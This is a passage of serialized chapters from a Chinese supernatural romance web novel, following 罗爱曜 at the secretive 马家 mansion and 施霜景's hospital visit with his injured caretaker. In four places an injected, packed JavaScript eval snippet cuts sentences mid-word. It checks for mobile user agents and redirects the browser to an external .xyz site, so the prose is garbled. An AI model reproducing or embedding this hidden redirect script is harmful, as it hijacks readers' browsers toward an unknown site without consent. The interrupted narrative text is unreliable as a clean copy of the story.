至于施楼庭,他应该全无任何特殊背景。□□歌试图证明施霜景是特殊的,而且施霜景特殊就特殊在他有一对特殊的父母。可罗爱曜才是那个与施霜景朝夕相处的人。施霜景是很特殊没错,但不像是父母命格为他加诸的特殊性。就算卓瑜和施楼庭特殊——光“死得早”这三个字就可以尽数抵消他们的特殊。施霜景这颠沛流离的前半生,有太多瞬间可能会拐入死地。特殊有什么用,活着比特殊更重要。 罗爱曜觉得施霜景身上起疹子有些蹊跷。早前在处理庄晓一家的事件时,某天早晨施霜景也是这样起一身荨麻疹,罗爱曜顺手给他治。没过多久,施霜景发烧,断断续续烧了两三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当罗爱曜的人身未曾现世、只以报身或法身行事时,他这样食用人祭:佛子通常不会自己动手,有信徒替他操持这一切。祭品身上抄满经文,食用祭佛子专用的瓜果,七日后佛子降临,信徒受本体法身琉璃尖刺刑,血肉从骨上自动脱落,只一霎就洁净如从未有人来过。佛子吃的不是人肉、人血的味道,吃的是一种因果碾碎之后的如粉末的流动的饱足感,像流沙下漏填满洞穴。往往这些人祭欠了佛子债,必定是先享用过了好处但无可偿还,只能是以命来抵了。佛子看得上就多留几个部件,以作改造的法器,例如头首、骨骼、眼睛之类。 像施霜景这样无头闯上来的祭品,本来就是第一个。罗爱曜还以为是自己的信众都死光或是叛逃了,才沦落到外人祭他的下场。凡事总有第一次,但等了两个月发现这就是最后一次。而且关于施霜景这人,凡事都让罗爱曜自己来,他亲自沟通,亲自往他身上抄文,以及,X欲。这是最奇怪也最幽微的一点。X欲?以前佛子从不要祭品做这些。人祭就是食用死魂灵的往复一生,然后一个双X人出现了。知道他有两幅器官。所以呢?以前不要人伺候的佛子现在突然要了?难道说,佛子理解的“代价”本来就有误?他以为他要没收的是施霜景的生命,但其实只是……X? 这几周罗爱曜一直在想这件事,是这套祭祀的程序出了问题吗?接收到施霜景愿望的那一刻起心动念也很值得罗爱曜反复思量。那一刻马上就和性挂钩了,佛子的戒也就是从那一刻起就破了。 114.细马春蚕篇(十二) 于Q省驾驶长途车,往地图的再西边去是荒漠黄沙,往东往北走则是见到大片大片的高寒草原牧区。卓逸纶问过□□歌,为什么不直接开车去马家大宅。□□歌笑而不语,总是不直接回答这个问题,顾左右而言他,甚至连“往马家大宅的路经常堵车”这种理由都搬出来,说会有放牧的牛羊堵路。这个季节哪还会大费周章地放牧!这是春节!就连柳闻斌这种五谷不分的都市人都知道,冬季牛羊大多要补饲,放牧吃的冬草还不够掉膘的。 他们在西宁只是短暂地停留一晚,卓逸纶松口,表现出对马家大宅的强烈兴趣,包括对马家为何不能兴佛事的好奇,卓逸纶回酒店房间,翻找一阵,带来一枚手掌大的木盒,对□□歌说,这是一尊佛子小像,外甥留给我防身用的。我不能转赠给你,这不合礼数,但我们去你家造访,看看究竟会发生什么事——这就是你想要的,对吧? □□歌连连答应,说这样就够了。他毕竟也说不准嘛!自家祖宗不许后代修习佛事,请客人来家里拜访总管不了太多吧。 所以,马家到底发生了什么事?佛子有时真想往□□歌的脑子里灌生理盐水,洗洗他被酒精腌渍入味的脑子,顺便再将□□歌脑子里的脏东西冲出来,看看到底是什么玩意。 大年初五,他们一行人终于不用大清早天不亮就动身。佛子离家好几日,周身气压很低,柳闻斌只是普普通通一出现,就被佛子挑拣一通,嫌柳闻斌中年人不收拾,新年看带衰的人心情不好,让柳闻斌赶最早的商场去多买几身换洗衣服。佛子甚至不愿意和柳闻斌同坐一辆车。 早上十点半,柳闻斌赶早买了衣服回来,佛子也吃过早餐了,在一众碳水里吃一碗甜醅子就算是吃过。马家司机在群组里说联系不上老板,佛子说,那你们就去他房间找他,你们又不是不知道他的房间号。群组陷入沉默,等候很久,马家司机线下找到二人,将柳闻斌和佛子聚起来,这才说老板可能是老毛病发作,只能等。 佛子面上不耐,说如果马老板今天不出现,那他们就买晚上的机票回家,就当是Q省几日游了。柳闻斌恨不得鼓掌。司机离开,佛子告诉柳闻斌:“□□歌在房间里起乩,没体力了自然就会消停。我还是打算去一回马家宅。” “啊?起乩?这不是有什么神明鬼神附身的意思吗?是□□歌的老祖又上身了?”柳闻斌惊言。 “我好像听见诵经敲钵的声音。隐隐约约,不知道来处。不是□□歌所能发出的声音,而且他确实没有在诵经。这些声音像幽灵一样环绕,时隐时现,大概从□□歌起乩时就有了。”佛子用手指模拟了像烟雾一样缥缈的轨迹,代表这声音的不可捉摸,“而我的视界里有光点一样的东西在飘荡,现在我觉得它像是一条线。佛眼能见不同的智慧光,这很寻常,但我感觉这是一条细细长长的光脉——不是很吉祥,就不多解释给你听了。” 佛子没有说的是,密教会谈脉与轮*1,例如藏传密教为三脉四轮,瑜伽密教为三脉七轮,但如此轮脉对人类来说更多像是想象产物。这些构造,有就是有,没有就是没有,似是而非的就是没有,如若拥有,则一定对其有着操作上的认知与熟练。佛子就没有脉与轮的构造,这些通道和枢纽的存在某种程度上意味着阻碍,因为有阻碍,所以需要建立为数不多的通道来供能量流转。佛子的能量高度和谐统一,不分虚体和实体,流通无碍,不需要设立脉轮来帮助修行。 佛子只是觉得他见到的依稀光脉具有某种解剖层面的深长意味,例如是修行者死后,体内的线脉像脱离寄主的绦虫一样浮游在空气中。 大约中午十二点,酒店要退房,司机正打算为老板续房时,□□歌打电话来,让司机接他。司机和两位客人赶到马老板房间,只见□□歌浑身虚脱地倒在床上,头倒悬于床沿,整个人的身体扭曲、僵硬,像是不能动了,浑身大汗淋漓。司机赶紧扶□□歌起来,□□歌嘴唇发白,让司机帮自己穿衣服,要回家,他离家太久了,必须要回家。 柳闻斌一不小心踩到什么,低头一看,发现是□□歌的手机。手机落在玄关,□□歌却在床上。刚才真的是□□歌给司机打电话吗?柳闻斌汗毛倒竖,说不出的难受。 临到要上车了,佛子才对柳闻斌松了口:“你要回D市,可以,但你要替我照顾施霜景。你别想回家躲懒,就像之前一样在暗处守着。大年初八医院复工之后,你带他去医院做个全套的身体检查,把结果告诉我。” 柳闻斌站在那儿就是一个兵,立刻拍胸脯了,保证完成任务。 他们选择在西宁落脚,是因为马家大宅修在祁连的草原与群山之间,在西宁休整一夜,第二天以良好的精气神前往马家大宅,这对客人有益。□□歌在车上依旧神志不清,只偶尔清醒一阵,催促司机开快一点,再开快一点。他们这一路开车,从草原湿地到背靠祁连山脉的草原山谷,佛子脑内时不时仍然响起诵经、敲钵、摇铃的动静。 罗爱曜想起他为□□歌提供的另一个备选地——色达县。□□歌避而不谈,或许与他有关的那存在确实不是藏传密教,不是金刚本尊或是莲师,或许连祖古*2都不会是。 和他们牵扯上会很麻烦。在罗爱曜的理解里,藏传密教是众密教教派中最为活跃且能量交杂的一派。密,其义包含了封闭。在任何场合中,试图与封闭的群体打交道都是很麻烦的事。汉传密教已几乎消亡了,罗爱曜并不想去触霉头,也对另一密教教派的实质没有打听的兴趣。他们的佛陀是否还“在”,罗爱曜不好去探听,光是指出事实就会破坏这种封闭教派的稳定,在或不在,都说不清算好事还是坏事。 司机从国道开进县道,再从县道开进土路,眼看着就进了山,与去往县城的路分岔开来。司机说,他们故意没有铺水泥路,因为铺了水泥路就会有车不小心开进来。为了保证马家大宅与世隔绝,这条草路完全是凭经验开的,现在能看见车辙是因为马老板一家今年搬了进来,家里人要开车出去采买东西,走多了便压出了路。 今年冬天大部分地区气温偏高,祁连地区在十二月以后竟然就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583052|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再下过雪,草地呈驳杂的枯黄色,偶尔会见些早发的春草夹在去年的冬草中,新新旧旧交替着,倒确实可以放牧。越野车开进山里,大约半小时后,马家大宅终于展现在罗爱曜眼前。 青黑色砖石圈出的中原建筑群,占地以亩计,两辆车直接驶到马家大院的大门楼,说是门楼,其实更像城楼,大门顶上有防守和瞭望的二层小楼,大门则是半圆的大拱,院墙排开,几乎等于古城城墙了,圈出方正的马宅范围,从上往下看,灰瓦延绵不绝,一个个院子像从屋瓦之海里钻出的深井,黑黝黝,乍一看比海更深,原来是山挡了光。*3 马家的妻子、孩子都站在门口,等车上的丈夫下来。妻子的双手搭在女儿肩上,而女儿的手又搭在弟弟肩上。圆门好像大张的嘴,灯笼像悬吊的小舌,人则是牙。 罗爱曜撂上车门,只那么一下恍惚,仿佛听见王邸侯馆,歌舞升平,居生处乐,然不知死之将至*4。 不知吗?兴许也是知的。 大年初六,怎么就到了大年初六。一到过年,时间就快得令人头皮发麻。 柳闻斌真是不愿意见他那造孽的老婆小孩,只温存一晚上,第二天见到他们就冒火,干脆全打发回娘家,他自己要孤身赴佛子的约,帮佛子看住施霜景。柳闻斌甚至正月里去理了个头,反正他没有舅舅可死。他选了几样年货,就当是给施霜景拜年了,一路开车去励光厂,直奔福利院。 到了院门,柳闻斌给施霜景打电话,施霜景语气惊讶,说他马上就来。 大门从内拉开,柳闻斌还在车里,他摇下车窗,准备把车开进福利院再停,施霜景扶着门,指挥柳闻斌开车,眼神时不时看向车后排,可惜柳闻斌的车窗都贴了反光黑膜,看不见车内情况。 柳闻斌下车,施霜景凑上来,见柳闻斌没拉开后车门,施霜景就主动拉了,却扑了个空。 施霜景还以为罗爱曜回来了。 “老天爷,施霜景,你的脸怎么搞的?咋红成这样?” 施霜景还没来得及说话,刘茜就奔出来,对着柳闻斌说:“你快带这个家伙去医院!犟死了,这肯定是过敏,搞不好要死人的!” 柳闻斌一看刘茜脸上的伤,认命地打开车门,“您也来,送一个是送,送两个也是送,您正好押着施霜景一起去医院了。” 施霜景不说话,只默默地抠脸上的荨麻疹。他心想,万一医生要他脱衣服怎么办,身上还那么多的旧咬痕,真不知道从何解释起才好。 *1:脉轮,大抵就是文中所解释的这样,考虑到佛子不太谈这个,留待以后剧情提及再仔细介绍。 *2:祖古,相当于藏传密宗的佛陀的应身(化身),搜一搜应该能见到更常见的喊法,但不想本文更封建迷信了,使用这个正式名称比较好。 *3:此马家大院参考了平遥马家大院和河北正定县马家大院,偶尔可能还会再提一下浙江临海的马氏庄园和河南安阳马氏庄园。 *4:修改自元代陆文圭《〈词源〉跋》。 115.细马春蚕篇(十三) 车子的右后侧坐着刘茜,过年期间她遭前夫家暴,左下脸乌青一片,过去快一个星期了,脸还肿得厉害,施霜景说刘奶奶的脸还是很痛,说不定是伤到骨头了。车子的左后侧坐着施霜景,脸上起一块块的风团,像脸上给人生生针扎了绣花,摸起来一朵是一朵的,刘茜说施霜景小时候过敏都没这么严重,不晓得是怎么搞的,而且已经几天了,过敏药吃了还复发,根本控制不住。 施霜景抱着手臂坐在后排,还戴了鸭舌帽,刘茜说的话都是对的,可他现在正在心里猛打腹稿,一会儿医生要是检查他身体怎么办,要怎么解释……越想越不耐烦,感觉就是过敏药没吃够量,加量吃会不会就有用了?一路上施霜景都在这样乱七八糟地想着,心里这才微微有点埋怨罗爱曜,咬的时候的确是情趣,洗澡的时候看到痕迹也只能无可奈何地笑笑,偏偏去医院你不在了——不然你隔空治一下?施霜景好几次掏出手机想联系罗爱曜,但还是放下了。罗爱曜让柳闻斌回来,就是为了让柳闻斌代替他照顾自己。这说明罗爱曜正在忙。 不过现在的医院复工都早,D市的大医院基本都在初四就正式上班了,门诊、影像、检验全部都在岗。柳闻斌带他们去省人民医院做检查,门诊导医台的护士看了看两人的情况,建议一人挂皮肤科,另一人挂口腔颌面科。柳闻斌狠狠地体验了一把上有老下有小的中年人在医院里到底有多忙。 柳闻斌挂完号,先带施霜景去皮肤科,排了四十分钟,排到施霜景了,送进去。听完施霜景的发病情况,医生凑近看施霜景的脸,很明显施霜景的荨麻疹是全身性的,从脸到脖子再到衣服覆盖的区域都长了,医生让施霜景掀开衣服,看看躯干的情况,施霜景那个难啊,在一众视线的胁迫下,施霜景只能掀开衣服。 医生默默抬眼看了看施霜景的脸,视线又转回到他躯干,“哦哟,怎么搞的?” “玩脱了……”施霜景两眼一闭,摊牌。 “把衣服放下吧。”医生坐直身体,手指噼里啪啦地敲键盘,给施霜景下处方,“去抽个血,我给你多开几个检查,就是要多抽几管血。你以前有荨麻疹史,我们顺便查查和免疫相关的化验。你身上这些……是要涂药的。到时候发炎就不好了。身上有没有特别严重的伤口?” “没有……” “血常规结果下午就可以出来,肝功、肾功这些检查结果要等到明天。我今天先给你开一些抗组胺药。你之前吃的是什么过敏药?你可以在院里先等等血常规结果,如果下午还很严重,我可以给你开点输液先打上。等所有结果都出来,你再拿着检查结果回来找我,回诊就不用挂号了。” 施霜景报出他常吃的过敏药名字。医生给他换了一种然后开出处方,打印检查单的时候,医生又支支吾吾,报了另一个商品名,说施霜景可以去隔壁的药店问问。 施霜景去抽血,柳闻斌在手机上看到刘茜的号快到了,就带刘茜去口腔颌面科,让施霜景随时和自己联系。施霜景被抽了三管血,倒是没啥感觉,只是手肘被自己压青了。他抽完血去找刘茜,正好看见诊室门口电子屏上显示刘茜的名字,他们应该进去了,施霜景便也推门进去,听下半场。 不听不知道,施霜景这一听,简直出离愤怒。 医生光是面诊就发觉刘茜的下颌有偏斜,压痛明显,给刘茜开了单子去做X光,怀疑有轻微骨折。 施霜景脸色阴沉,问医生能不能出伤情鉴定,医生仔细问情况,施霜景恨不能把刘茜的情况全部倒出来,刘茜却拉住了施霜景,连声说没事,去做检查就行了,什么鉴定不鉴定的。医生问施霜景是不是刘茜的儿子,刘茜刚想否认,施霜景就直勾勾望着医生,语气坚定:“是的。我是她儿子。” 这一下给柳闻斌整得非常感动,心想自己的儿子对自己以后要是有施霜景对刘茜那么好就好了。他去影像科问排号,影像科说大概要下午一点半才能轮到刘女士,柳闻斌就带一老一少去医院附近吃饭。 “我去隔壁给刘姐打点稀饭过来,菜要是上了,你们就先吃。”柳闻斌非常来事,也非常能扛事。医院附近这家馆子炒菜水平不错,他以前带亲戚来看病就吃过。柳闻斌离开,施霜景与刘茜面面相觑,施霜景甫一张嘴,刘茜的眼泪就淌下来。施霜景手忙脚乱,开了桌上的抽纸,给刘茜递纸。 他只听见刘茜在低低啜泣声中说:“我没有照顾好你……我不配当你妈妈……” 施霜景心中非常酸楚,为了咽下泪意,只能喉头移动,狂咽口水。施霜景嘴笨,只能挪到刘茜身边,揽过她肩膀,一下一下地轻拍她。 “当不了妈妈就当奶奶吧。”施霜景说,“我爸爸不会介意的,不过……叫你奶奶好像把你喊老了……” “你又不是第一次喊我奶奶了……”刘茜破涕为笑。 “我不知道有妈妈是什么感觉。不存在什么配不配的。”施霜景摘下自己的鸭舌帽,他觉得脸上的荨麻疹好一些了,帽子掀开,施霜景的微笑就露了出来,“小时候你从客车站接我去福利院,让我和你睡一个被窝,你好照顾发烧的我。我那时候就觉得,虽然老天把我的妈妈收走了,但老天也会给我送一个新的妈妈。” “不是的。母子关系和福利院里的养育关系还是不一样。”刘茜极力要澄清,她真的不配。 “那你现在照顾我也来得及。”施霜景将刘茜苍老的手放在自己的掌心,捂热,摩挲,“我也会好好照顾你的,奶奶。” 施霜景发觉,他的嘴其实也没有那么笨。这是为什么呢?几乎是一刹那,施霜景就联想到,表达感情这件事,他不是没学过。 施霜景在同罗爱曜表达爱意时,获得了正反馈。这为施霜景表达感情打下了优秀的基底。说出来不难的。说出来,说不定就会收获幸福。说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583053|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,别人就有了回应的余地。就算是赌一把,也要习惯上赌桌的感觉。施霜景要从一个边缘人上到社会的赌桌,上到关系的赌桌,坐定下来,掏出勇敢做筹码,而他最多也就只会输了自己的一厢情愿,赢则可能赢到阖家欢乐、其乐融融。不仅如此,施霜景还要学会说出需求。你要爱我。你要对我好。万一就实现了呢? 讲回罗爱曜抵达马家大宅。那仿佛会吃人的深宅。 □□歌的夫人和孩子们都守在大门口,□□歌被司机搀下车,马夫人搭把手,她生得瘦弱,人都要给□□歌给压塌了,可还是坚持要扶丈夫。两个孩子不知道要不要跟在爸妈身后,另一位司机做出请的手势,请卓先生一同进大宅,卓先生便携着两个孩子一起进屋了。 一进大宅,草原的感觉浑然消失。天空给撩束成四方的大小格,随同进宅的深浅而变幻。渐渐地,草与水的腥气也全然隔绝在外,大宅深几许,几进几出,各有进院,东西有厢房,因是中原大宅,并不像江南园林那样有假山流水造景,宅内几乎全是功能性的房屋,院中偶有桌椅,供人在晴天晒太阳聊天用。 这房子的地理位置相当怪异,但就连地上铺的石砖都是实打实从中原运来的。马夫人没有同卓先生说过一句话,□□歌一进家也是沉默得吓死人,只说自己要先去休息一下,卓先生自便。只剩下两个小孩子,司机把卓逸纶领到会客室,姐姐说她去找保姆阿姨泡茶,弟弟就留在会客室陪客人。 偌大宅子,光可以住人的房间都有几十间,卓逸纶问小男孩:“你家就你们几个人吗?” 小男孩怕生,不知道怎么回答这个问题,他的黑眼珠滴溜溜地看卓逸纶,他在木椅爬上爬下,又去拉一拉会客室的大柜子,那柜子就是黑漆螺钿的,小男孩力气不大,柜门却也关得不紧,一拉就给拉开了,敞开来空荡荡的,男孩摸着柜内,卓逸纶又问:“你拉开柜子干嘛?要躲进去吗?” 男孩说:“妈妈说,万一我调皮了,晚上没有睡着,就要躲进柜子里,不要让老祖找到。” 卓逸纶已经充分认识到他家这个老祖应该不是什么良善东西,于是说:“老祖会伤害你们吗?连你这么小的孩子都不放过?” “不是的。老祖只是太孤单了。老祖哪里也去不了,我们就要来陪他。我们去年就来了,要住满三年才能离开。我不知道为什么爸爸要出去找人。老祖没有那么坏。” 大约十岁的女儿端着茶盘进来,回答了卓逸纶的问题。茶杯是明清的式样,是古董。女孩自我介绍,她叫马勤光,弟弟叫马勤月,妈妈叫孙渺渺。马家大宅现在一共住了十四人,包括马家四人,管家与管家媳妇两人,育儿保姆一人,清洁保姆两人,厨师三人,杂工两人。但这是新年,很快其他马家人就要来了。虽然正日子是和小家一起过,但过了大年头几天,等大家齐聚,直到元宵节前的马家大宅会很热闹的。 116.细马春蚕篇(十四) □□歌不在,佛子就同任何能聊的人聊天。马家有不少员工住在县和市里,是跟□□歌一家一道搬过来的,也是要住三年。两位司机同时也是□□歌的出差专用员工,其中一位司机是S省眉山人,佛子套他话,司机就说他年前跟□□歌一起去了拍卖会,拍卖会结束之后他就留在D市了,年夜饭都是和家里老父亲老母亲一起吃的,好多年没回过家一起过年,算是托了拍卖会的福。佛子嬉笑着,没细问,查了一圈记忆,知道司机去过励光厂。□□歌查人的速度竟然也很快。 照理说,拍卖会上所有人都应该淡忘卓逸纶这人,且在潜意识层面不去追查施霜景的下落,因为这是犯忌讳。□□歌不仅做了,甚至还挺顺利。这说明□□歌在某种程度上并没有吹牛,他身上或是他家真的有什么东西,得以抵消佛子的影响。 佛子在抵达马家大宅以后,给施霜景打了通简短的电话,让施霜景得以窥见马家大宅的奢华、阴森与怪异。施霜景是个连电视剧都很少看的人,对建筑毫无概念,更别说是地区特色明显的宅邸。佛子甚至会想,如果带施霜景一起来会不会更有趣些?一个人实在是无聊。马家有意思,但也无聊。这种无聊是看一块浸润在福尔马林里的器官组织的无聊,标明了病变所以没有探知欲的无聊,就算暗有玄机也不想开罐重检的无聊。 佛子是靠翻弄人类的混沌景观来取乐的,同时又是靠恐惧之类恶性的情绪来饱腹的。自从与施霜景相恋,恶性好似给磋磨掉了,但只有佛子自己清楚,这是他的本性之一,他没有在施霜景面前隐藏,他只是在寻找一种新的平衡。或许需要和施霜景的价值观有交叉相容的地方,剩下的则是不需要声张。 代入到马家这件事,就是佛子其实并不在乎马家人死活,也不在乎马鸣死活——对于后者,佛子最近一直在重新审视“涅槃”这回事,他对护法神的追索有些兴意阑珊了。不论怎么说,接触一下,如果那是马鸣,亦可以多问几句。同类是很难得的。不过马鸣算同类吗?他是凡人修成的菩萨。唔,倒不可以这样作想。这般本质主义的论断于事实推理无益。无人是燃灯佛,也不知马鸣是不是也早有在燃灯佛处记名,是下世修行再得道转化,这只有马鸣自己清楚。论贡献,马鸣甚至比佛子勤奋太多。在那个时期,马鸣也是外道的“佛子”。用现代的话来说,佛子现在或许是要见前辈了。总之他就这样有一搭没一搭地想着,信息还不足。 卓先生是座上宾,只是——这合时宜吗?孙渺渺问□□歌,可□□歌犯病犯得厉害,回屋躺倒,不省人事。孙渺渺心里还是着急的,正巧司机要离开马家了,孙渺渺就请司机去接医生。马家的女儿后来告诉佛子,马家大宅原本是配了医生的,被马家发生的事吓坏了,说什么也不肯住在这里,马家只好给他在旁边的县上找了房子,方便随时接他来马家大宅。 傍晚天色渐黑了,□□歌仍不能出来待客,孙渺渺裹了披肩,亲自过来问卓先生口味,她连卓先生来自哪里都不知道,说明□□歌没有向她介绍过卓先生,甚至可能拍卖会与佛子像的事都没透露过。 “我最近修佛,吃得清淡。肉可以吃,但不吃腥臊。”卓逸纶生得神清骨秀,孙渺渺听到“修佛”二字,脸色一变,可仔细再盯盯卓逸纶的脸,心里什么气都生不起来了。 她一下子没控制住自己,多说了些:“卓先生不要在我们家提这些事情哦,我们虽然不是其他教派的,但……总归不好的嘛。啊,我没有别的意思,卓先生不吃腥膻的,那羊肉就不行了,牛肉可以伐?原本客人来是应该鸡鸭鱼肉全部备齐的,但我们这里的水养出的都是笨鱼,有一股土骚气,客人多担待哦。晚上七点钟准时开饭,我让我家面点师傅做了一点点心,卓先生请吃哦。” 卓逸纶面露玩味神色,几个眼神就让孙渺渺离不开房间了,思来想去,她坐下来,卓逸纶就同她搭话,话题就是刚才孙家大女儿马勤光所说的老祖和家宴。 孙渺渺很尴尬,心说这小姑娘怎么什么都往外说的。可她眼珠一转,看见会客室突兀放着一大件黑漆螺钿双开衣柜,这肯定不是她本意,只是每间房间都光秃秃这样放一尊大柜子,看了好晦气。她本能地觉得向外人抱怨不好,但——这不算抱怨吧,应该算提醒,于是孙渺渺说:“卓先生啊,我们家休息得早,你来就当是休养,我们晚上不喝酒打牌的,所有人都在十二点以前要睡着,否则后半夜就睡不好啦。” “我听你家儿子女儿说的像是闹鬼一样,什么睡不着就要躲柜子,这是真的吗?”卓逸纶道。 “哎呀卓先生不要听这些毛毛头瞎说。客人么不打紧的,关好门窗睡觉就是了,夜里不好出门的,我们家这几进几院又多,迷路可就不好了。” 卓逸纶忽然话锋一转,“孙太太是南方人吧?” “我么?我是H市的呀。” “来这边生活一定不大容易吧。” “卓先生,你真是客气了。”被帅哥惦念是好,可孙渺渺也不要别人同情,“记住哦,晚上十二点以前要躺在床上、闭好眼睛,卓先生你信的那些菩萨佛祖可保佑不了你。我家不修佛事,老祖见了、听了会心烦。” “你要问我老祖是什么,我也不知道。我是嫁来马家的人,不算‘马家人’,老祖不会对我怎么样。”孙渺渺用茶碗盖拨弄茶叶,垂眸看茶梗,“他们马家人疯疯癫癫的,早晓得就不嫁过来了,但有钱是真有钱,别人是祖坟冒青烟,他家是祖坟插烟囱。” 卓逸纶给孙渺渺这话逗笑了,没想到这夫人还挺幽默,孙渺渺嗔他一眼,“结婚以前只听说那些个明星养小鬼、政客供菩萨,现在嫁过来,不也就是这个样子,在大草原里修宅子。卓先生你要是不怕,去我们院子走廊走上一圈好了,趁现在天色还不算太黑。” “孙小姐也是个坦率的人啊。我真的只是来谈生意的,说得像我是个道士、和尚一样。”卓逸纶打哈哈,孙渺渺喝过茶,小口吃了一枚点心,擦擦嘴,连捎着自己的茶杯一起走了。 待客室无人,佛子喝了两盏茶,眼睛又望向那黑漆螺钿大柜。这回佛子重新拉开它,单膝跪在柜沿,伸手抚摸柜内打磨上漆的木面,柜外精雕细琢,柜内清净如新,什么都没发现。佛子想,如果要躲什么邪祟,柜子内应该要有乾坤,例如符纸、咒文等,但其实什么都没有,空荡荡如竖立的双开大棺材。 晚饭前,佛子真就照孙渺渺的建议,在马家大宅的走廊走了一圈。这不走不打紧,一走佛子就发觉,这大宅的走廊竟然是全通的。从挂有马家牌匾的大门进去,左右手边竟然都有走廊,院与院之间的走廊全数连通,像是为这大宅绲了一圈空心边。借由这全打通的走廊,佛子逛遍了马家大宅,没有任何隐私或是封禁可言,每个院落都可以去,就算路上碰见了马家的员工,他们也不会叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583054|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛子停下别走,只是望他一眼就匆匆返回去做自己的事。 晚饭极其丰盛,孙太太一边吃一边介绍,他家虽然住到了这山窝窝里,但东西都是最好的,冰箱冷库应有尽有,一周采买两次,珍贵的东西就飞机运到西宁,再从西宁开车拉回来。她还说两个小孩出了大宅之后就要去念国际学校了,这两年趁机再接触一下中国文化也是好的。现在两个小孩没法出去上学,就上网课,她已把这一切安排得利利索索、妥妥当当。 两个小孩吃过了,孙渺渺让他们下桌去玩,小儿子跑了,大女儿还留在桌上。卓逸纶看了马勤光一眼,就朝孙渺渺开口道:“谢谢孙夫人的招待,我想不说还是不好,免得浪费了孙夫人的善意。”于是卓逸纶朝孙渺渺一五一十讲了□□歌请他来的事,从拍卖会讲到柳闻斌,再讲到请卓先生携佛子像来他家“看看情况”。 孙渺渺大惊失色,掀袖看腕表,速速道:“这死鬼……不好意思,卓先生,我真是留不了你。这该死的……请人来乱事……卓先生,我不是说你乱了事,你是好心,是我家这死鬼没有说清楚。我们不需要什么帮手。哎呀这死鬼!我看他发癫是活该!活该被老祖治!” “这样,孙夫人,你家要是还有人能开车离去,我将佛子像交给他们,我自己留在你家住一晚,怎么样?我实在好奇。你们家老祖真是马鸣菩萨吗?” 这时,还坐在桌前的女儿忽然跳下桌,作舞蹈姿势,孙夫人很机警地抓住她的手,要拽她离开餐厅,马勤光的脚像是钉在了地上一样,她朝卓逸纶说:“我家老祖不要杂佛!” 卓逸纶眼睁睁看马勤光被孙渺渺带走了。一刻钟以后,孙渺渺回来,卓逸纶还没开口,孙渺渺就说:“我把她关在衣柜里了,叫她不要学这些,她偏偏学,学得个神经病。” “孙夫人,我对佛事还是有所了解的。马鸣菩萨是显教奠基人之一,作诗歌、伎乐无数。但马鸣菩萨是印度的,怎么会到这里来做你们的老祖?” “马家都是神经病。你以为我没有问过吗?马家人自古就有钱,这□□支的,之前打土豪分财产也没耽误他们当有钱人,你以为是怎么搞的?”孙渺渺余光看见司机候在门边了,就请司机拿走卓逸纶的佛子像,卓逸纶专门回他的客房取了那小木盒来,在孙渺渺和司机的见证下打开木盒,确认佛子像在里面,卓逸纶没有私自违背规矩留下小像。孙渺渺让司机签字画押,不能把东西偷了去了,否则马家会找他算账。这样一来回,小像离开马家,孙渺渺松一口气,乐得留卓先生这样一位好姿色的年轻人下来,趁马家大部队来之前把他送走就好。 “马家信老祖,老祖爱子孙。”孙渺渺伸手摸了摸卓逸纶房里的大衣柜,“我是嫁进来的,具体的我不清楚,我只知道老祖在马家子孙的身上来去,子孙活,老祖就活。男的就开枝散叶,女的就歌舞祭祀。小光的姑姑们都会跳舞唱歌,每年都要跳,跳到死。” “□□歌就是脑子瓦特了。有一尊佛就够了,为什么还要请另一尊佛?”她说。 佛子想,睡在一个被窝里的人,竟然心思完全相异。孙渺渺也不像是在说假话的样子。她没总结出来的一层,佛子总结出来了:如果老祖在□□歌脑子里,那□□歌要请佛子像,老祖会不知道吗?原来这是一场邀请。 佛子混不吝,不是邀请也当邀请了,反正也厮打不起来。只是诡异而已。 117.细马春蚕篇(十五) 入夜。 佛子闭目躺在黄花梨木官式雕花拔步床上,心里幽幽飘过一句吐槽:这是他应身现世以来,生活条件最合宜的一次,合他佛子的身份,可他怎么睡都觉得不对劲。不是这床不对劲,这种三面合围的古床虽然是明清样式,但到底是从更早的木架床改良来的,样式改动不大。这床占地面积大,佛子往床尾望去,看见紧闭的大柜。现在应当是快要十二点了。佛子在想,我到底是睡过去呢,还是醒着呢。想了想还是法身行动,肉身假寐。施霜景在家给他点了一把香,点艾灸似的,根本睡不着,能想象家里烟熏火燎的样子,玉米都躲进卧室了。 